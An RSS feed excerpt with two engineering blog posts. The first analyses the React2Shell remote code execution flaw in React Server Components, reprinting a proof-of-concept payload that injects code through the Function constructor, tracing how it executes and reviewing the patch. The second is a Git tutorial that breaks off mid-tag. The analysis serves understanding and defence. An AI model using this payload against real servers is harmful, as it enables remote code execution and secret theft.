            <content:encoded><![CDATA[<h3>A deep-dive on React2Shell exploit details</h3><figure><img alt="A simple exploit created by https://x.com/@maple3142" src="https://cdn-images-1.medium.com/max/1024/1*RzofCTzuW5AFDyO_vLy6ww.png" /></figure><p>Guillermo Rauch (Vercel’s CEO) posted a <a href="https://x.com/rauchg/status/1997362942929440937?s=20">very nice article</a> explaining the <a href="https://react2shell.com/">React2Shell exploit (CVE-2025–55182)</a>.</p><p>The bug was discovered by <strong>Lachlan Davidson</strong>. While you can see it’s easy to trigger why it happens is not trivial, so kudos to Lachlan for his ingenious work to exploit it! 👏</p><p>But I wanted to know more about it, to understand exactly the code paths, so I looked at the <a href="https://github.com/facebook/react/commit/bbed0b0ee64b89353a40d6313037bbc80221bc3d.patch">patch fixing it</a>, at the final <a href="https://github.com/facebook/react/blob/v19.0.1/packages/react-server/src/ReactFlightReplyServer.js">v19.0.1 patched version</a> and the original (buggy) code <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js">v19.0.0</a> which I use as the base to explain the details below.</p><h3>Investigation: why the bug happens?</h3><p>Let’s start with the minimum viable exploit from <a href="https://x.com/@maple3142">@maple3142</a>:</p><pre>{<br>  0: {<br>    status: &quot;resolved_model&quot;,<br>    reason: 0,<br>    _response: {<br>      _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>      _formData: {<br>        get: &quot;$1:then:constructor&quot;,<br>      },<br>    },<br>    then: &quot;$1:then&quot;,<br>    value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>  },<br>  1: &quot;$@0&quot;,<br>}</pre><p>This payload is handled by one of the React Server Components (RSC) packages such as react-server-dom-esm, react-server-dom-turbopack or react-server-dom-webpack. They handle the bus messages from decodeReplyFromBusboy() which will add event listeners that calls resolveField() (imported from the same react-server/src/ReactFlightServer) <strong>asynchronously</strong> (later, not immediately) and it ends returning getRoot(response), which is a simple wrapper on top of getChunk(response, 0) that returns a Promise-like object. See <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js#L206">decodeReplyFromBusboy() from react-server-dom-esm</a> for a concrete example.</p><p>Note that getChunk(response, 0) is called <strong>BEFORE</strong> any field events were dispatched, so it just calls createPendingChunk() and the PendingChunk is stored in response._chunks.set(0, chunk0).</p><p>The caller of decodeReplyFromBusboy() will get this chunk0 and will wait for this promise with chunk0.then(resolve, reject), that is <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L131">implemented as </a><a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L131">Chunk.prototype.then</a>, to register the given resolve and reject callbacks in the arrays chunk.value and chunk.reason, respectively. (It&#39;s confusing, but React does overload the value and reason depending on the chunk status).</p><p>When the field events are later dispatched and they call the function <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L1110">resolveField()</a>, in addition to response._formData.append(key, value) it will notice that response._chunks.get(0) exits, then it will call resolveModelChunk() on chunk0.</p><p>The function <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L264">resolveModelChunk()</a>, will convert the chunk0 from PendingChunk to ResolvedModelChunk. It does this by first storing the arrays of listeners for resolve and reject (value and reason respectively) in local variables (resolveListeners and rejectListeners), then changing status = &#39;resolved_model&#39;, value (given to resolveField()) and reason (before the patch it was the chunk id, after patch fixing the exploit it is now an object with the id and the response -- at the end of this investigation you&#39;ll notice why this change was required).</p><p>Since we explained above that chunk0.then(resolve) registers the resolve function in the chunk.value array (now resolveListeners), inside resolveModelChunk() we have a non-null resolveListeners, then it will call initializeModelChunk() followed by wakeChunkIfInitialized().</p><p>The function <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L444">initializeModelChunk()</a> calls JSON.parse(chunk.value) (some people are pointing to it as the reason, but it&#39;s safe!) to get rawModel and then <a href="https://github.com/facebook/react/blob/v19.0.1/packages/react-server/src/ReactFlightReplyServer.js#L528">reviveModel()</a> on it. <strong>There is where the problem starts</strong>.</p><p>Let’s recap what the server just did:</p><pre>// from the RSC field event handler<br>resolveField(response, &#39;0&#39;, `{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: &quot;$1:then:constructor&quot;,<br>    },<br>  },<br>  then: &quot;$1:then&quot;,<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}`);<br><br>// resolveField calls:<br>resolveModelChunk(chunk, `{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: &quot;$1:then:constructor&quot;,<br>    },<br>  },<br>  then: &quot;$1:then&quot;,<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}`, 0);<br><br>// resolveModelChunk calls:<br>resolvedChunk.value = `{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: &quot;$1:then:constructor&quot;,<br>    },<br>  },<br>  then: &quot;$1:then&quot;,<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}`;<br>initializeModelChunk(resolvedChunk);<br><br>// initializeModelChunk calls:<br>const rawModel = JSON.parse(`{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: &quot;$1:then:constructor&quot;,<br>    },<br>  },<br>  then: &quot;$1:then&quot;,<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}`);<br>const value = reviveModel(<br>  chunk._response,<br>  {&#39;&#39;: rawModel}, // parent object<br>  &#39;&#39;, // parent key<br>  rawModel, // value: { status: &#39;resolved_model&#39;, ..., _response: ... }<br>  &#39;0&#39;, // root reference<br>);<br><br>// reviveModel recursively revive every field:<br>if (typeof value === &#39;object&#39; &amp;&amp; value !== null) {<br>  // ...<br>  for (const key in value) { // value: { status: &#39;resolved_model&#39;, ..., _response: ... }<br>    // ...<br>    const newValue = reviveModel(/* ... */)</pre><p>As seen above, inside the function <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L384">reviveModel</a> it will receive an object, in this case it will <strong>recursively revive all fields</strong>.</p><p>So at some point _response._formData.get will be revived, since it&#39;s a string &quot;$1:then:constructor&quot;, it will call <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L908">parseModelString()</a>.</p><p>This function checks if the first character is $ and it is, but none of the other modifiers apply, so it goes straight to <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L587">getOutlinedModel()</a> where the remaining reference is split, returning: [&quot;1&quot;, &quot;then&quot;, &quot;constructor&quot;], so it will access the chunk id 1 by calling getChunk(response, 1).</p><p>Since we called getChunk(response, 1) and it did not exist yet, as seen before it will call createPendingChunk() and register response._chunks.set(0, chunk1). Since chunk (here on called chunk1) is a PendingChunk (status is PENDING), it will wait for the promise fulfillment with chunk1.then(createModelResolver(...)). That is: chunk1.value now contains an array with the result of createModelResolver() using chunk as chunk0, so once 1 resolves it will wake-up/continue the resolution of 0.</p><p>This is the same for the field then, since it references &quot;$1:then&quot;. The <strong>same</strong> chunk1 is reused, it will just add the given resolve listener to the chunk1.value array, which will have 2 elements at this point.</p><p>Calling createModelResolver() will set initializingChunkBlockedModel, which used by the caller (initializeModelChunk()) to convert the chunk being resolved (chunk0) into BlockedChunk.</p><p>The createModelResolver() returns a resolver function (to be later called by Promise.then). Once the resolver function is called, it will access the now-resolved value object using path (ie: [&quot;then&quot;, &quot;constructor&quot;] will result in value[&quot;then&quot;][&quot;constructor&quot;]), then convert chunk (chunk0) from BlockedChunk into InitializedChunk (fulfilled) and then wakeChunk(), that will call all the listeners using wakeChunk().</p><p>The listeners, at this point, are the two pending resolvers for fields _response._formData.get: &quot;$1:then:constructor&quot; and then: &quot;$1:then&quot;.</p><p>The initializeModelChunk() for key 0 will end restoring the <strong>previous</strong> initializingChunkBlockedModel, that was null.</p><p>As seen above for the root (0) key, once the field 1 is received by resolveField(), it will call resolveModelChunk() which will call initializeModelChunk() which calls reviveModel(). Let&#39;s illustrate this:</p><pre>// from the RSC field event handler<br>resolveField(response, &#39;1&#39;, `&quot;$@0&quot;`);<br><br>// resolveField calls:<br>resolveModelChunk(chunk, `&quot;$@0&quot;`, 1);<br><br>// resolveModelChunk calls:<br>resolvedChunk.value = `&quot;$@0&quot;`;<br>initializeModelChunk(resolvedChunk);<br><br>// initializeModelChunk calls:<br>const rawModel = JSON.parse(`&quot;$@0&quot;`);<br>const value = reviveModel(<br>  chunk._response,<br>  {&#39;&#39;: rawModel}, // parent object<br>  &#39;&#39;, // parent key<br>  rawModel, // value: &quot;$@0&quot;<br>  &#39;1&#39;, // root reference<br>);<br><br>// reviveModel calls:<br>parseModelString(response, {&#39;&#39;: rawModel}, &#39;&#39;, &#39;$@0&#39;, &#39;1&#39;);<br><br>// parseModelString is:<br>if (value[0] === &#39;$&#39;) {<br>  switch (value[1]) {<br>    // ...<br>    case &#39;@&#39;: {<br>      // Promise<br>      const id = parseInt(value.slice(2), 16); // 0<br>      const chunk = getChunk(response, id); // chunk0<br>      return chunk;<br><br>// back to initializeModelChunk:<br>const value = chunk0; // not chunk0.value<br>if (<br>  initializingChunkBlockedModel !== null &amp;&amp;<br>  initializingChunkBlockedModel.deps &gt; 0<br>) {<br>  // not this case<br>} else {<br>  const resolveListeners = cyclicChunk.value;<br>  const initializedChunk: InitializedChunk&lt;T&gt; = (chunk: any); // chunk1<br>  initializedChunk.status = INITIALIZED; // chunk1.status = INITIALIZED<br>  initializedChunk.value = value; // chunk1.value = chunk0, not chunk0.value<br>  if (resolveListeners !== null) { // we had 2 listeners for &quot;$1:then:constructor&quot; and &quot;$1:then&quot;<br>    wakeChunk(resolveListeners, value);<br>  }<br>}</pre><p>Here reviveModel() will identify value is a string (&quot;$@0&quot;) and call parseModelString() on it. It will parse this as a reference (&#39;$&#39;) to a promise (&#39;@&#39;) pointing to id: 0. Then it will call getChunk(response, 0), which returns the first chunk (chunk0), which is now in a blocked state (BlockedChunk).</p><p>Back to initializeModelChunk() execution for the field 1, value will be the chunk0 (now BlockedChunk).</p><p>However initializingChunkBlockedModel wasn&#39;t set, then chunk1 considered INITIALIZED (fulfilled), which converts the chunk1 from PendingChunk into InitializedChunk, with the value being a promise (chunk0).</p><p>Then it will wakeChunk(resolveListeners, value), which will go and call listener(value) for each listener in the array.</p><p>We had two listeners for chunk1, both created with createModelResolver(), one is awaiting to resolve [&quot;1&quot;, &quot;then&quot;, &quot;constructor&quot;] and another to resolve [&quot;1&quot;, &quot;then&quot;]. Once they are called they will change the value stored in key 0, effectively materializing the fields to their final values. After all the 2 dependencies are called, then blocked.deps === 0 and it will wakeChunk() the dependencies of chunk0. Let&#39;s illustrate it:</p><pre>// the original initializeModelChunk() for key 0<br>const rawModel = JSON.parse(`{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: &quot;$1:then:constructor&quot;,<br>    },<br>  },<br>  then: &quot;$1:then&quot;,<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}`);<br>const value = reviveModel(<br>  chunk._response,<br>  {&#39;&#39;: rawModel}, // parent object<br>  &#39;&#39;, // parent key<br>  rawModel, // value: { status: &#39;resolved_model&#39;, ..., _response: ... }<br>  &#39;0&#39;, // root reference<br>);<br><br>// after reviveModel(), value is:<br>const value = {<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: Function, // see below<br>    },<br>  },<br>  then: chunk0.then, // points to the promise then method<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}</pre><p>The field _response._formData.get is the result of calling chunk0[&#39;then&#39;][&#39;constructor&#39;], which happens by calling createModelResolver() with path [&quot;1&quot;, &quot;then&quot;, &quot;constructor&quot;]:</p><pre>// createModelResolver, the returned model resolver function<br>for (let i = 1; i &lt; path.length; i++) {<br>  value = value[path[i]];<br>}</pre><p>A function constructor is always Function and whatever code you give to it, it will evaluate that code once the returned function handler is called. Using NodeJS REPL mode:</p><pre>&gt; Promise.resolve(1).then.constructor<br>[Function: Function]<br>&gt; const f = Promise.resolve(1).then.constructor(&quot;console.log(&#39;☠️&#39;)&quot;)<br>undefined<br>&gt; f()<br>☠️<br>undefined</pre><p>So whenever _response._formData.get(code) is called, it will execute the code, which may do anything. In Guillermo&#39;s article it&#39;s a harmless console.log(&#39;☠️&#39;), but malicious users are using it to steal secrets (ie: process.env) and even download and run malware, including bitcoin miners, spam farms and so on.</p><h3><strong>But how is it called with malicious code?</strong></h3><p>Here comes the cyclical dependency of promises to trick React Flight into using <strong>the user object as an internal one: Chunk</strong>.</p><p>We’re in the initializeModelChunk() for key 0 (root), we now have the value as per above, we convert chunk0 to InitializedChunk and we&#39;ll call all the pending resolveListeners, which is an array with the listener added with Chunk.prototype.then() by the caller of decodeReplyFromBusboy(). At this point, in the buggy version, we call <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L488">wakeChunk(resolveListeners, value)</a>.</p><p>Since value has a then function, whenever calling resolve(valueWithThenField), being resolve the first callback function when you new Promise((resolve, reject) =&gt; {}), due JavaScript&#39;s &quot;duck typing&quot;, it will await value to chain the promises. Await translates to the following:</p><pre>// `await value` becomes<br>return new Promise((resolve, reject) =&gt; {<br>  value.then.call(value, resolve, reject); // or .apply(), with this being `value`<br>});</pre><p>You can validate this behavior using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">Promise.resolve()</a>:</p><pre>function t(resolve, reject) {<br>  console.log(&#39;t:&#39;, this, resolve, reject);<br>  resolve(1);<br>}<br><br>// Notice `this` is { then: t, MyObjectMarker: 1 }<br>await Promise.resolve({ then: t, MyObjectMarker: 42 })<br>// logs: t: { then: [Function: t], MyObjectMarker: 42 } [Function (anonymous)] [Function (anonymous)]</pre><p>So we’re calling value.then, as we saw that is chunk0.then, which is Chunk.prototype.then.</p><p>Pay close attention to this being replaced with the given value, effectively we&#39;re calling Chunk.prototype.then with this being chunk0.value, <strong>NOT</strong> chunk0 itself! Note that the chunk0.value is in the same shape as a ResolvedChunk:</p><pre>{<br>  status: &quot;resolved_model&quot;,<br>  reason: 0,<br>  _response: {<br>    _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>    _formData: {<br>      get: Function, // see below<br>    },<br>  },<br>  then: chunk0.then, // points to the promise then()<br>  value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>}</pre><p>Look into <a href="https://github.com/facebook/react/blob/v19.0.0/packages/react-server/src/ReactFlightReplyServer.js#L139">Chunk.prototype.then</a>: it checks if status is RESOLVED_MODEL (&quot;resolved_model&quot;) to call initializeModelChunk(), which will try to revive the model value &#39;{&quot;then&quot;:&quot;$B&quot;}&#39; using chunk._response, which is <strong>user defined ⚠️</strong> and careful crafted so _response._formData.get is Function. So all that is left is to call _response._formData.get with malicious code. Let&#39;s illustrate that:</p><pre>// Chunk.prototype.then: this is chunk0.value:<br>switch (chunk.status) {<br>  case RESOLVED_MODEL:<br>    initializeModelChunk({<br>      status: &quot;resolved_model&quot;,<br>      reason: 0,<br>      _response: {<br>        _prefix: &quot;console.log(&#39;☠️&#39;)//&quot;,<br>        _formData: {<br>          get: Function, // see below<br>        },<br>      },<br>      then: chunk0.then, // points to the promise then()<br>      value: &#39;{&quot;then&quot;:&quot;$B&quot;}&#39;,<br>    });<br>    break;<br>}<br><br>// initializeModelChunk calls:<br>const rawModel = JSON.parse(&#39;{&quot;then&quot;:&quot;$B&quot;}&#39;);<br>const value: T = reviveModel(<br>  chunk._response, // _formData.get is Function!<br>  {&#39;&#39;: rawModel},<br>  &#39;&#39;,<br>  rawModel, // { then: &#39;$B&#39; }<br>  rootReference,<br>);<br><br>// reviveModel() recursively calls, will go revive &quot;$B&quot;<br>parseModelString(<br>  chunk._response, // _formData.get is Function!<br>  ...,<br>  &#39;$B&#39;,<br>);<br><br>// parseModelString() for &#39;$B&#39;<br>case &#39;B&#39;: {<br>  const id = parseInt(value.slice(2), 16); // NaN, &quot;$B&quot;.slice(2) is &quot;&quot;<br>  const prefix = response._prefix; // &quot;console.log(&#39;☠️&#39;)//&quot;<br>  const blobKey = prefix + id; // &quot;console.log(&#39;☠️&#39;)//NaN&quot;<br>  const backingEntry: Blob = (response._formData.get(blobKey): any); // Function(&quot;console.log(&#39;☠️&#39;)//NaN&quot;)<br>  return backingEntry;<br>}<br><br>// back to initializeModelChunk() we end with revived value:<br>const value = { then: Function(&quot;console.log(&#39;☠️&#39;)//NaN&quot;) };</pre><p>As one can see, the id is added after prefix, so we must end our injected code (_response._prefix) with a comment (//) in order to ignore it, or it would break with a SyntaxError exception.</p><p>As before, it’s converted from ResolvedModelChunk to InitializedChunk and wakeChunk(resolveListeners, value) with that value.</p><p>As we saw, whenever you return an object with a then function, it will be called, effectively running the malicious code.</p><h3>Understanding the Fix</h3><p>While the <a href="https://github.com/facebook/react/commit/bbed0b0ee64b89353a40d6313037bbc80221bc3d.patch">patch</a> adds more robustness, it’s core is to avoid an user object being handled as an internal object.</p><p>It could have been simpler by just checking if this instanceof Chunk, which would have mitigated using chunk.value as chunk. I think solving it in the then implementation would be simpler than introducing an explicit loop in the newly added fulfillReference() and inside getOutlinedModel().</p><p>It also goes into removing _response from the chunk and moving it into reason, which is more commonly reset over time (when chunks change state). The response is stored in an object using a Symbol() key, so it cannot be injected over the network (unless you explicitly pass a reviver to JSON.parse() that converts some name to it).</p><p>Some safety was added before calling resolve or reject, since these callbacks may be undefined. Some try-catch were added to properly cleanup the busboyStream. But these has nothing to do with this specific bug.</p><p>Some refactor was also done, removing CyclicChunk and using BlockedChunk instead, cleaning up some code paths. I did not stop to review in depth and see why (if) it was needed, but I&#39;d refrain from doing so much changes to fix a serious problem as this one.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b75a84e76a1c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/react2shell-critical-vulnerability-in-react-server-explained-with-technical-details-of-code-b75a84e76a1c">React2Shell: Critical Vulnerability in React Server explained with technical details of code</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use Git like a PRO]]></title>
            <link>https://medium.com/profusion-engineering/how-to-use-git-like-a-pro-03620b92b7c6?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/03620b92b7c6</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[git-bisect]]></category>
            <category><![CDATA[git-commands]]></category>
            <category><![CDATA[git-rebase]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[Lucas Santos]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 18:42:20 GMT</pubDate>
            <atom:updated>2025-12-05T18:42:19.521Z</atom:updated>
            <content:encoded><![CDATA[<p>Learn the main Git commands, understand rebase and bisect, and develop well-structured commits and best practices to go beyond the basics and use version control like a professional.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*gWGU5Km1P3bFx0PH.png" /></figure><p><a href="https://medium.com/@devlucassantoss/se-torne-um-especialista-em-git-92828a207c1d"><strong>Portuguese Version</strong></a></p><p>Since I joined <a href="https://profusion.mobi/index-en.html"><strong>ProFUSION</strong></a>, I’ve often heard new colleagues say they “knew Git”, but after getting to know the concepts and practices we use, they realized a lot actually changed.</p><p>This post shares essential practices, from interactive <strong>rebase</strong> to <strong>bisect</strong>, that turn your Git usage from basic to professional.</p><h3>Recommended material</h3><p>If you really want to understand, in practice, how <strong>rebase</strong>, <strong>push</strong>, <strong>merges,</strong> and the <strong>commit</strong> <strong>tree</strong> work, I strongly recommend doing the exercises in <a href="http://learngitbranching.js.org"><strong>learngitbranching.js.org</strong></a>.</p><p>There you can:</p><ul><li>simulate real‑world scenarios;</li><li>visualize branches, merges, and rebases graphically;</li><li>test commands without being afraid of breaking anything.</li></ul><p>In this post, I’ll focus on:</p><ul><li>rebase (including interactive);</li><li>organizing the commit tree;</li><li>git bisect;</li><li>commit/push best practices.</li></ul><p>If you want to go even deeper, I also recommend this other postagem: <a href="https://medium.com/profusion-engineering/git-101-rebase-merge-662bc8c56fd7">Git 101: rebase &amp; merge</a>.</p><h3>When should I use rebase?</h3><p>Rebase is the process of moving or reapplying commits from one branch on top of another, as if your branch had been created from a more recent commit.</p><p>Instead of ending up with a history full of merge commits, <strong>rebase</strong> linearly retells the story. Meanwhile, <strong>merges</strong> tend to create parallel branches, and the commit graph becomes a tangle of lines. With <strong>rebase</strong>, you get a single trail where each step is easy to follow when reviewing code or hunting down a bug.</p><h4>Why use rebase?</h4><ul><li>Keeps history cleaner and more linear.</li><li>Makes code reviews easier (PRs with organized commits).</li><li>Avoids visual noise from unnecessary merge commits.</li></ul><h4>Exemple:</h4><p>You created the branch <strong>feature/login</strong> from <strong>main</strong>. While you develop, the <strong>main</strong> branch gets new commits. Before opening your PR, you can do:</p><pre>git checkout feature/login<br>git fetch origin<br>git rebase origin/main</pre><p>This replays your <strong>feature/login</strong> commits on top of the latest version of main.</p><p>If there are conflicts, Git pauses, and you resolve them:</p><pre># resolve the conflicting files<br>git add &lt;files&gt;<br>git rebase --continue<br><br># if things go really wrong:<br>git rebase --abort</pre><h3>Interactive rebase</h3><p>Interactive rebase gives you control over your commits. You can:</p><ul><li>reorder commits;</li><li>squash/fixup multiple small commits;</li><li>edit commit messages;</li><li>drop unwanted commits.</li></ul><p><strong>Example: cleaning up the last 3 commits before opening a PR:</strong></p><pre>git rebase -i HEAD~3<br># Resultado:<br>pick a1b2c3 fix: remove something<br>pick d4e5f6 feat: add new org<br>pick 123abc chore: update js version</pre><p>You can replace<strong> pick (keep as is)</strong> with:</p><ul><li><strong>edit:</strong> edit the commit;</li><li><strong>reword:</strong> change only the message;</li><li><strong>squash/fixup:</strong> merge commits;</li><li><strong>drop:</strong> remove the commit.</li></ul><p>Tools like <strong>VS Code + GitLens</strong> help you visualize the history and better understand what’s going to be rewritten. If you want to configure your favorite editor, I recommend this doc: <a href="https://docs.github.com/pt/get-started/git-basics/associating-text-editors-with-git">Associar editores de texto ao Git</a>.</p><p>You’ll find more details about interactive rebase and rebase in general in the article <a href="https://medium.com/profusion-engineering/git-101-rebase-merge-662bc8c56fd7">mentioned above</a>.</p><h3>Common mistakes when rebasing</h3><ol><li>You create a branch <strong>feature‑y</strong> from <strong>feature‑x</strong>.</li><li>Your teammate, or even you, keep working on <strong>feature‑x</strong> and add new commits or amend existing ones.</li><li>You try to rebase <strong>feature‑y</strong> onto <strong>feature‑x</strong> and start seeing “weird” conflicts.</li></ol><h4>Why does that happen?</h4><p>Both <strong>rebase</strong> and <strong>commit — amend</strong> rewrite commits, generating new hashes. That means that even if the code looks the same, the commits themselves are different, with <strong>different IDs</strong>.</p><p>If your branch was based on an old version of <strong>feature‑x</strong>, the history diverges.</p><h4>How to visualize this?</h4><pre># shows the commit tree as a graph<br>git log --oneline --graph --all</pre><p>Or tools like <a href="https://jonas.github.io/tig/"><strong>tig</strong></a> to give you a more friendly view of the history. If you’re not yet comfortable with <strong>git log</strong> or <strong>tig</strong>, using your IDE’s visual Git tools can help a lot to see how your tree behaves after a rebase or amend.</p><h4>How to fix it?</h4><p>Use <strong>interactive rebase</strong> to remove duplicated commits, which are commits with the same content but different hashes. If you don’t drop them, you’re applying the same change twice, which greatly increases the chance of unnecessary conflicts in future rebases and makes the whole process harder to reason about.</p><p>If you’re just starting to understand rebase, my tip is:</p><p>Play with these scenarios on <a href="https://learngitbranching.js.org"><strong>https://learngitbranching.js.org</strong></a><strong> </strong>until you feel comfortable predicting how the pointers move.</p><h3>Publishing changes after rebase</h3><p>After a rebase or even a git <strong>commit — amend</strong>, you won’t be able to run a plain git push simply. You’ll need one of these options:</p><ul><li><strong>git push origin my-branch — force: </strong>overwrites the remote history even if someone has pushed after you. Should be avoided on shared branches like main, develop, etc.</li><li><strong>git push origin my-branch — force-with-lease: </strong>safer version of — force. Git only forces the push if the remote state matches what you expect locally. This protects against overwriting commits that you haven’t pulled yet.</li></ul><h3>Why a well‑structured commit tree matters</h3><p>A well‑organized history is not just pretty in the Git graph. It’s a real working tool for the team.</p><h4>Why is this important?</h4><p><strong>It makes code reviews easier</strong></p><ul><li>Smaller, focused commits with clear messages let reviewers understand what you did and why.</li><li>Instead of a PR full of <em>WIP</em> and <em>fixing stuff</em>, you have a sequence of changes that tell the story of the feature.</li></ul><p><strong>It helps in investigating bugs</strong></p><ul><li>When each commit represents a single logical change (atomicity), it becomes much easier to know exactly which commit broke something.</li><li>This directly connects to using <strong>git bisect</strong>.</li></ul><p><strong>It enables safe rollback/cherry‑pick</strong></p><ul><li>If one commit corresponds to<strong> adding feature X</strong> and another to <strong>fixing bug Y</strong>, you can revert or cherry‑pick exactly what you need, without huge side effects.</li></ul><p><strong>It makes life easier for new team members</strong></p><ul><li>New devs can read the evolution of the project through the commits.</li><li>You’re telling a story: the problem, the solution, refactors, all through the order and clarity of the commits.</li></ul><p>As you gain experience, your planning improves, and you naturally start to:</p><ul><li>think about commits before writing code;</li><li>group related changes together;</li><li>avoid random giant “everything” commits.</li></ul><p>This is the idea of <strong>atomic commits</strong>: each commit is a logical unit of change, easy to understand, test and, if needed, revert.</p><h3>Git Bisect: finding the problematic commit</h3><p>It is perfect when:</p><ol><li>a bug appeared “somewhere” between two versions;</li><li>you don’t know in which commit exactly;</li><li>just looking at the code is not enough to figure it out.</li></ol><p>Instead of testing every commit manually, <strong>git bisect</strong> runs a binary search: it keeps narrowing down the interval between <strong>good commit</strong> and <strong>bad commit</strong> until it finds the culprit.</p><h4>Basic Flow</h4><pre>git bisect start<br>git bisect bad HEAD          # current commit has the bug<br>git bisect good &lt;old-hash&gt;   # a commit you know was working</pre><p>Git will checkout an intermediate commit. From there:</p><ol><li>Run your tests or reproduce the bug.</li><li>If the bug is present: <strong>git bisect bad</strong></li><li>If the bug does NOT appear: <strong>git bisect good</strong></li></ol><p>Git keeps choosing new commits until it ends up with a single commit: the “bad” one.</p><p>When you’re done, run: <strong>git bisect reset</strong></p><h4>Why does a clean history matter here?</h4><p>If each commit is atomic and well described, when bisect says “this is the bad commit”, that already gives you a very clear context of what changed there.</p><p>If a single commit touches 15 unrelated areas, even if you know it introduced the bug, it will still be hard to fix without breaking something else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8spOLlgRcBMejTi_.png" /></figure><h3>Updating and publishing commits remotely</h3><p>When creating a commit message, use a text editor (instead of just git commit -m “…”) so you can follow a clear convention such as <a href="https://www.conventionalcommits.org/en/v1.0.0/">Conventional Commits</a>.</p><h4>Basic format</h4><p><strong>Line 1: </strong>type + short description</p><ul><li><strong>feat: </strong>add login with OAuth</li><li><strong>fix: </strong>fix interest calculation bug</li></ul><p><strong>Body (optional): </strong>explain what was done and why.</p><p><strong>Footer: </strong>reference tasks/issues</p><ul><li>closes #123 → this commit closes issue 123</li><li>part of #456 → this commit is part of issue 456, but doesn’t solve it entirely</li></ul><pre>feat: add date filter to reports<br><br>- add start and end date fields to the API<br>- update validation to support optional ranges<br>- adjust integration tests<br><br>closes #42</pre><h3>Commit signatures (user.name, user.email, GPG)</h3><p>Setting up <strong>user.name</strong> and <strong>user.email</strong> ensures your commits are properly attributed to you. But to take security one step further, you can sign commits with a <strong>GPG</strong>, <strong>SSH</strong> or <strong>S/MIME</strong> key, which adds an authenticity seal to your history.</p><h4>Why is this important?</h4><ul><li><strong>Authenticity:</strong> A signed and verified commit proves it was really made by you or, in a company context, by an authorized contributor.<br>Example of risk avoided: without signatures, someone with access to your email and Git config could forge commits pretending to be you. With signatures, only whoever owns your private key can create valid commits.</li><li><strong>Integrity:</strong> Git and platforms like GitHub verify that the commit content hasn’t been altered since it was signed. If someone tries to modify the commit (message, content, author, etc.), verification fails, and the Verified badge does NOT appear.</li><li><strong>Traceability and audit:</strong> In critical/compliance projects (PCI, financial auditing, large companies, open source), signatures serve as evidence of who changed or approved what. They’re often used as input for compliance logs.</li><li><strong>Trust and reputation: </strong>For maintainers, team leads, and open‑source teams, seeing <strong>Verified commits</strong> is a quick visual guarantee that the repo hasn’t been tampered with by unauthorized pushes or force pushes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*fFMD4vmmshqh_6gJvSgnBw.png" /></figure><h3>Other useful everyday commands</h3><h4>git fetch:</h4><ul><li>Downloads updates from the remote (new commits, new branches) without touching your current branch.</li><li>Use it before rebase/pull to see what changed.</li></ul><h4>git stash:</h4><ul><li>Saves your local, uncommitted changes so you can switch branches without committing.</li><li>You can later reapply them with <strong>git stash apply</strong> or <strong>git stash pop</strong>.</li></ul><h4>git reset — hard:</h4><ul><li>Moves the branch pointer to another commit and discards everything that isn’t committed.<br><strong>Be careful:</strong> only use it if you’re sure you can lose local changes.</li></ul><p>A great cheat sheet of useful commands <a 